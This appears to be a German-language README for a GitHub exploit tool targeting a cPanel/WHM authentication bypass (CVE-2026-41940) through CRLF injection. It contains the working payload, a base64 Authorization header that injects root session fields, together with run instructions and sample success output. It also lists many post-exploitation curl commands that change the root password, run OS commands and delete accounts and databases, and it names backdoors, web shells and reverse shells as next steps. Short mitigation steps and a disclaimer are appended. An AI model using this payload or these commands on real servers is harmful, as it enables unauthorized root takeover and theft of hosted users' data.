
Kritischer Exploit zur Umgehung der Authentifizierung für cPanel/WHM CVE-2026-41940. Nutzt CRLF-Injection im cpsrvd-Daemon, um ohne Anmeldedaten Root-WHM-Zugriff zu erlangen. Enthält Versionserkennung, ausführliche Protokollierung, Proxy-Unterstützung, JSON-Reporting und Post-Exploitation-Kontenumeration. Nur für autorisierte Sicherheitstests.
Kritischer Authentifizierungs-Bypass durch CRLF-Injection im cPanel/WHM-cpsrvd-Daemon
Bei CVE-2026-41940 handelt es sich um eine kritische Authentifizierungs-Bypass-Schwachstelle in cPanel & WHM, die nicht authentifizierten Remote-Angreifern administrativen Zugriff mit Root-Rechten auf den Server ermöglicht. Die Schwachstelle liegt in der Session-Verwaltung des
cpsrvd-Daemons, genauer gesagt inCpanel/Session.pm, wo eine unzureichende Neutralisierung von Zeilentrennzeichen (CRLF) imwhostmgrsession-Cookie und inAuthorization-Headern die Injection von Session-Parametern ermöglicht.
| CVSS-Score | Exploit-Typ | Auswirkung | Angriffsvektor |
|---|---|---|---|
| 9.8 | Authentifizierungs-Bypass | Root-Zugriff | Netzwerk |
Dieses Exploit-Tool bietet die folgenden Hauptfunktionen:
🔓 Authentifizierungs-Bypass – Root-WHM-Zugriff ohne Anmeldedaten erlangen
🛡️ Mehrere Bypass-Techniken – Verschiedene Verifizierungsmethoden werden automatisch ausprobiert
🌐 Proxy-Unterstützung – Verkehr über HTTP/HTTPS-Proxys leiten
📊 JSON-Berichte – Detaillierte Bewertungsberichte erstellen
📝 Umfassende Protokollierung – Ausführlicher Debug-Modus mit Zeitstempeln
🔍 Versionserkennung – Verwundbare Versionen automatisch erkennen und prüfen
👥 Konto-Enumeration – Alle cPanel-Konten nach dem Exploit auflisten
🎯 Mehrere Endpunkte – Verschiedene API-Endpunkte zur Verifizierung ausprobieren
Die Schwachstelle beruht auf zwei Hauptproblemen:
CRLF-Injection im Session-Speicher – Die Funktion saveSession bereinigt Zeilenumbruchzeichen (\n) im Feld pass nicht, bevor der Wert in die Session-Datei geschrieben wird, wodurch die Injection beliebiger Session-Parameter ermöglicht wird.
Bedingter Encoding-Bypass – Wenn dem Session-Cookie der Teil ob (das Segment nach dem Komma) fehlt, wird der Wert von pass unkodiert (im Klartext) geschrieben, was die Injection von CRLF-Sequenzen ermöglicht.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
Der Exploit erhält zunächst ein Pre-Authentifizierungs-Session-Cookie, indem er einen fehlgeschlagenen Login versucht:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Antwort:
Set-Cookie: whostmgrsession=base64_encoded_data
Der manipulierte Authorization-Header injiziert bösartige Session-Parameter:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Dekodierte Payload:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Der Server antwortet mit einer Weiterleitung, die das administrative Session-Token enthält:
Location: /cpsess1234567890/
Der Exploit versucht mehrere Verifizierungsmethoden, um den Root-Zugriff zu bestätigen.
Sobald der Exploit erfolgreich ist, verwenden Sie die folgenden Befehle mit dem erhaltenen Token:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
Sobald Root-WHM-Zugriff erlangt wurde, kann ein Angreifer Folgendes tun:
🔍 Alle cPanel-Konten auflisten
👤 Neue cPanel-Konten erstellen
🔑 Kontopasswörter ändern
❌ Konten löschen oder sperren
🖥️ Betriebssystembefehle ausführen
🔄 Root-Passwort ändern
📊 Serverstatistiken anzeigen
🗄️ MySQL-Datenbanken verwalten
🐚 Reverse Shells bereitstellen
🌐 Web-Shells installieren
🗝️ Backdoors installieren
🔒 Versteckte Administratorkonten erstellen
📁 Auf alle Serverdateien zugreifen
💾 Datenbanken exportieren
📧 E-Mail-Konten lesen
🔐 Auf SSL-Zertifikate zugreifen
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Strikte Eingabevalidierung implementieren, um CRLF-Injection zu verhindern
✅ WAF-Regeln bereitstellen, um bösartige Anfragen zu erkennen und zu blockieren
✅ IP-basierte Zugriffsbeschränkungen für WHM aktivieren
✅ cPanel/WHM regelmäßig auf die neuesten Versionen aktualisieren
✅ Regelmäßige Sicherheitsbewertungen durchführen
✅ Protokolle auf verdächtige Aktivitäten überwachen
✅ Prinzip der geringsten Rechte (Least Privilege) implementieren
✅ Security Advisor in WHM aktivieren
✅ Regelmäßige Sicherheitsaudits
✅ Intrusion-Detection-System implementieren
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Dieses Tool dient ausschließlich zu Bildungs- und ethischen Sicherheitsforschungszwecken. Der Autor und die Mitwirkenden sind nicht für Missbrauch oder Schäden verantwortlich, die durch diese Software verursacht werden. Durch die Nutzung dieses Tools erklären Sie sich bereit, die volle Verantwortung für Ihre Handlungen zu übernehmen. Stellen Sie sicher, dass Sie vor Tests an einem System eine ausdrückliche Genehmigung haben.
Wir freuen uns über Beiträge! Bitte folgen Sie diesen Schritten:
🍴 Repository forken
🔧 Erstellen Sie Ihren Feature-Branch (git checkout -b feature/amazing-feature)
💾 Committen Sie Ihre Änderungen (git commit -m 'Add amazing feature')
📤 Pushen Sie den Branch (git push origin feature/amazing-feature)
🔃 Öffnen Sie einen Pull Request
🎉 Erste Veröffentlichung
🔓 Implementierung des CRLF-Injection-Exploits
🛡️ Mehrere Verifizierungs-Bypass-Techniken
📊 JSON-Berichtserstellung
🌐 Proxy-Unterstützung
📝 Umfassende Protokollierung
🔍 Versionserkennung
👥 Konto-Enumeration
📚 Umfassende Post-Exploitation-Befehle
Sicherheitshinweis – [email protected]
GitHub Issues – Issue erstellen
⚠️ DENKEN SIE DARAN: Mit großer Macht kommt große Verantwortung! Nutzen Sie es ethisch! ⚠️
Mit ❤️ für die Sicherheits-Community erstellt
| Attribut | Wert |
|---|
| CVE-ID | CVE-2026-41940 |
| CVSS-Score | 9.8 (Kritisch) |
| Schwachstellentyp | Authentifizierungs-Bypass durch CRLF-Injection |
| Betroffene Komponente | cpsrvd-Daemon (Cpanel/Session.pm) |
| Angriffsvektor | Netzwerk |
| Auswirkung | Voller Root-Zugriff |
| Ausnutzung | Nicht authentifiziert, Remote |
| Release-Track | Verwundbar bis | Gepatchte Version |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Argument | Kurz | Erforderlich | Beschreibung |
|---|
--target | -t | ✅ | Ziel-URL (z. B. https://target.com:2087 ) |
--verbose | -v | ❌ | Ausführliche/Debug-Ausgabe aktivieren |
--proxy | -p | ❌ | Proxy-URL (z. B. http://127.0.0.1:8080 ) |
--output | -o | ❌ | Ausgabedatei für den JSON-Bericht |
--timeout | ❌ | Anfrage-Timeout in Sekunden (Standard: 10) | |
--list-accounts | -l | ❌ | cPanel-Konten nach erfolgreichem Exploit auflisten |
--version | ❌ | Exploit-Version anzeigen |